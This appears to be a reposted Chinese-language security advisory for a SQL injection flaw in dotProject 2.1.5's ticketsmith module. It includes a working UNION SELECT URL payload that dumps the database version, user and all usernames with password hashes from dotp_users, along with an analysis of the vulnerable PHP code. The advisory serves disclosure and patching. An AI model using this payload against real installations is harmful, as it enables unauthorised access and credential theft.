标题: dotProject 2.1.5 SQL Injection Vulnerability
作者: sherl0ck_ <sherl0ck_[at]alligatorteam[dot]org> @AlligatorTeam
开发者官网: http://HdhCmsTestdotproject.net/
已测试版本 2.1.5
测试平台: Debian GNU/Linux 5.0
示例：
URL:
http://HdhCmsTest2cto测试数据 /dotproject/index.php?m=ticketsmith&a=view&ticket=-2union
all select
1,2,3,@@VERSION,5,USER(),7,8,9,10,11,12,13,DATABASE(),group_concat(user_username,0x3A,user_password,0xA),16
from dotp_users
---------------
缺陷代码分析
---------------
modules/ticketsmith/view.php
...
11 $ticket = dPgetParam($_GET, 'ticket', '');
...
219 $ticket_info = query2hash("SELECT * FROM {$dbprefix}tickets WHERE ticket
= $ticket");
...
Functions:
includes/main_functions.php
...
283 function dPgetParam(&$arr, $name, $def=null) {
284 return defVal($arr[$name], $def);
285 }
...
modules/ticketsmith/common.inc.php
...
50 /* get result in associative array */
51 function query2hash ($query) {
52
53 $result = do_query($query);
54 $row = @ mysql _fetch_array($result);
55 return($row);
56
57 }
...
22 function do_query ($query) {
23 $result = @mysql_query($query);
24 if (!$result) {
25 fatal_error("A database query error has
occurred!<br>".mysql_error());
26 } else {
27 return($result);
28 }
29
30 } 修复：过滤index.php页面
查看更多关于dotProject 2.1.5 SQL注射缺陷及修复 - 网站安全 - 自学的详细内容...